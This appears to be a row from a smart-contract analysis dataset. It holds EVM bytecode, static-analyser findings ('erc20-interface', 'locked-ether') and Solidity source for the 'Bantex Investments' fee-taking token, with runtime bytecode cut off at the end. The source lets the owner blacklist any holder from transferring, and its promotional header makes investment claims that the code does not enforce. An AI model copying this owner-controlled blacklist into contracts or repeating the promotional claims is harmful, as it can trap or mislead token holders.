0x6060604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f85780630a968d5e1461022e57806315e0d7d11461024357806318160ddd1461027457806323b872dd14610287578063313ce567146102af578063397b90a5146102d85780633f4ba83a146102ee57806342966c68146103015780635c975abb146103175780635fe8e7cc1461032a578063704b6c021461039057806370a08231146103af5780637136982b146103ce57806379cc6790146103e1578063831064b3146104035780638456cb5914610427578063860838a51461043a5780638da5cb5b1461045957806395d89b4114610488578063a9059cbb1461049b578063aa8acdfd146104bd578063b84c8246146104df578063c47f002714610530578063dd62ed3e14610581578063f2fde38b146105a6578063f851a440146105c5575b600080fd5b341561017957600080fd5b6101816105d8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bd5780820151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020357600080fd5b61021a600160a060020a0360043516602435610676565b604051901515815260200160405180910390f35b341561023957600080fd5b61024161079d565b005b341561024e57600080fd5b610262600160a060020a03600435166108a4565b60405190815260200160405180910390f35b341561027f57600080fd5b6102626108b6565b341561029257600080fd5b61021a600160a060020a03600435811690602435166044356108bc565b34156102ba57600080fd5b6102c26109ef565b60405160ff909116815260200160405180910390f35b34156102e357600080fd5b6102416004356109f8565b34156102f957600080fd5b610241610ae2565b341561030c57600080fd5b61021a600435610b67565b341561032257600080fd5b61021a610cb0565b341561033557600080fd5b61033d610cbe565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561037c578082015183820152602001610364565b505050509050019250505060405180910390f35b341561039b57600080fd5b610241600160a060020a0360043516610d5d565b34156103ba57600080fd5b610262600160a060020a0360043516610da7565b34156103d957600080fd5b610262610db9565b34156103ec57600080fd5b61021a600160a060020a0360043516602435610dc3565b341561040e57600080fd5b610241600160a060020a03600435166024351515610f5d565b341561043257600080fd5b610241610fbe565b341561044557600080fd5b61021a600160a060020a036004351661109f565b341561046457600080fd5b61046c6110b4565b604051600160a060020a03909116815260200160405180910390f35b341561049357600080fd5b6101816110c3565b34156104a657600080fd5b610241600160a060020a036004351660243561112e565b34156104c857600080fd5b610241600160a060020a036004351660243561113d565b34156104ea57600080fd5b61024160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061121695505050505050565b341561053b57600080fd5b61024160046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061124495505050505050565b341561058c57600080fd5b610262600160a060020a0360043581169060243516611272565b34156105b157600080fd5b610241600160a060020a036004351661128f565b34156105d057600080fd5b61046c6112ee565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066e5780601f106106435761010080835404028352916020019161066e565b820191906000526020600020905b81548152906001019060200180831161065157829003601f168201915b505050505081565b600160a060020a0333166000908152600a602052604081205460ff1615156001148015906106bb5750600160a060020a03331660009081526009602052604090205442115b15156106c657600080fd5b60065433600160a060020a0390811691161480156106eb5750600d54610100900460ff165b80610716575060075433600160a060020a0390811691161480156107165750600d54610100900460ff165b806107295750600d54610100900460ff16155b151561073457600080fd5b600160a060020a03338116600081815260046020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065433600160a060020a039081169116146107b857600080fd5b600d5460ff16156107c857600080fd5b600354600654600160a060020a03166000908152600560205260409020546107f59163ffffffff6112fd16565b60068054600160a060020a0390811660009081526005602052604080822094909455600e80546001810190915592546003547fe316e9c07bf6ee91102f762d73f95b6cab9dcc157278814c7408906855c6a3a69591909316929051938452600160a060020a03909216602084015260408084019190915260608301919091526080909101905180910390a160065461089590600160a060020a0316611313565b600d805460ff19166001179055565b60096020526000908152604090205481565b60035481565b600160a060020a0333166000908152600a602052604081205460ff1615156001148015906109015750600160a060020a03331660009081526009602052604090205442115b151561090c57600080fd5b60065433600160a060020a0390811691161480156109315750600d54610100900460ff165b8061095c575060075433600160a060020a03908116911614801561095c5750600d54610100900460ff165b8061096f5750600d54610100900460ff16155b151561097a57600080fd5b600160a060020a03808516600090815260046020908152604080832033909416835292905220548211156109ad57600080fd5b600160a060020a03808516600090815260046020908152604080832033909416835292905220805483900390556109e58484846113bf565b5060019392505050565b60025460ff1681565b60065433600160a060020a03908116911614610a1357600080fd5b600654600160a060020a0316600090815260056020526040902054610a3e908263ffffffff6112fd16565b600654600160a060020a0316600090815260056020526040902055600354610a6c908263ffffffff6112fd16565b600355600e8054600181019091556006547fe316e9c07bf6ee91102f762d73f95b6cab9dcc157278814c7408906855c6a3a69190600160a060020a0316600084604051938452600160a060020a03909216602084015260408084019190915260608301919091526080909101905180910390a150565b60065433600160a060020a0390811691161480610b0d575060075433600160a060020a039081169116145b1515610b1857600080fd5b600d54610100900460ff161515610b2e57600080fd5b600d805461ff00191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a0333166000908152600a602052604081205460ff161515600114801590610bac5750600160a060020a03331660009081526009602052604090205442115b1515610bb757600080fd5b60065433600160a060020a039081169116148015610bdc5750600d54610100900460ff165b80610c07575060075433600160a060020a039081169116148015610c075750600d54610100900460ff165b80610c1a5750600d54610100900460ff16155b1515610c2557600080fd5b600160a060020a03331660009081526005602052604090205482901015610c4b57600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556003805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b600d54610100900460ff1681565b610cc66115a1565b60065433600160a060020a0390811691161480610cf1575060075433600160a060020a039081169116145b1515610cfc57600080fd5b600c805480602002602001604051908101604052809291908181526020018280548015610d5257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d34575b505050505090505b90565b60065433600160a060020a03908116911614610d7857600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60056020526000908152604090205481565b600c546000190190565b600160a060020a0333166000908152600a602052604081205460ff161515600114801590610e085750600160a060020a03331660009081526009602052604090205442115b1515610e1357600080fd5b60065433600160a060020a039081169116148015610e385750600d54610100900460ff165b80610e63575060075433600160a060020a039081169116148015610e635750600d54610100900460ff165b80610e765750600d54610100900460ff16155b1515610e8157600080fd5b600160a060020a03831660009081526005602052604090205482901015610ea757600080fd5b600160a060020a0380841660009081526004602090815260408083203390941683529290522054821115610eda57600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556004825280832033909516835293905282902080548590039055600380548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60065433600160a060020a0390811691161480610f88575060075433600160a060020a039081169116145b1515610f9357600080fd5b600160a060020a03919091166000908152600a60205260409020805460ff1916911515919091179055565b60065433600160a060020a0390811691161480610fe9575060075433600160a060020a039081169116145b1515610ff457600080fd5b60065433600160a060020a0390811691161480156110195750600d54610100900460ff165b80611044575060075433600160a060020a0390811691161480156110445750600d54610100900460ff165b806110575750600d54610100900460ff16155b151561106257600080fd5b600d805461ff0019166101001790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600a6020526000908152604090205460ff1681565b600654600160a060020a031681565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561066e5780601f106106435761010080835404028352916020019161066e565b6111393383836113bf565b5050565b60065433600160a060020a0390811691161480611168575060075433600160a060020a039081169116145b151561117357600080fd5b600160a060020a03821660009081526008602052604090205460ff1680156111b25750600160a060020a03821660009081526009602052604090205442115b806111d65750600160a060020a03821660009081526008602052604090205460ff16155b15156111e157600080fd5b600160a060020a039091166000908152600960209081526040808320429094019093556008905220805460ff19166001179055565b60065433600160a060020a0390811691161461123157600080fd5b60018180516111399291602001906115b3565b60065433600160a060020a0390811691161461125f57600080fd5b60008180516111399291602001906115b3565b600460209081526000928352604080842090915290825290205481565b60065433600160a060020a039081169116146112aa57600080fd5b600160a060020a03811615156112bf57600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600754600160a060020a031681565b60008282018381101561130c57fe5b9392505050565b600160a060020a0381166000908152600b6020526040902054151561135e57600c8054906113449060018301611631565b600160a060020a0382166000908152600b60205260409020555b600160a060020a0381166000908152600b6020526040902054600c8054839290811061138657fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905550565b600160a060020a0333166000908152600a602052604081205460ff1615156001148015906114045750600160a060020a03331660009081526009602052604090205442115b151561140f57600080fd5b60065433600160a060020a0390811691161480156114345750600d54610100900460ff165b8061145f575060075433600160a060020a03908116911614801561145f5750600d54610100900460ff165b806114725750600d54610100900460ff16155b151561147d57600080fd5b600160a060020a038316151561149257600080fd5b600160a060020a038416600090815260056020526040902054829010156114b857600080fd5b600160a060020a038316600090815260056020526040902054828101116114de57600080fd5b50600160a060020a03808316600081815260056020526040808220805494881683529082208054868103909155929091528054840190550161151f84611313565b61152883611313565b82600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3600160a060020a0380841660009081526005602052604080822054928716825290205401811461159b57fe5b50505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115f457805160ff1916838001178555611621565b82800160010185558215611621579182015b82811115611621578251825591602001919060010190611606565b5061162d92915061165a565b5090565b8154818355818115116116555760008381526020902061165591810190830161165a565b505050565b610d5a91905b8082111561162d57600081556001016116605600a165627a7a72305820d0322f14c45c91fe887c45e25ff6f98372b5978b86b8388f48809f83f94e697f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,989 |
0x25fc4a04f5095a75a9bd7a736f55a2f18fba9675
|
/**
*Submitted for verification at Etherscan.io on 2021-07-20
*/
/*
$BANT - Bantex Investments
🖥 WEBSITE: https://bantex.finance/
🐦 TWITTER: https://twitter.com/BantexInvest
💬 TG: https://t.me/BantexInvestments
📊 DEXTOOLS: https://www.dextools.io/app/uniswap/pair-explorer/
♾ 1 TRILLION total supply
♾ 100% of liquidity will be locked minutes after launch
FEES - in total 10%
♾ 2.5% Investment A1 Funds
♾ 2.5% Investment B1 Funds
♾ 1.5% Marketing
♾ 3.5% dev/team
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BantexInvestments is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Bantex Investments";
string private constant _symbol = 'BANT️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601281526020017f42616e74657820496e766573746d656e74730000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572815250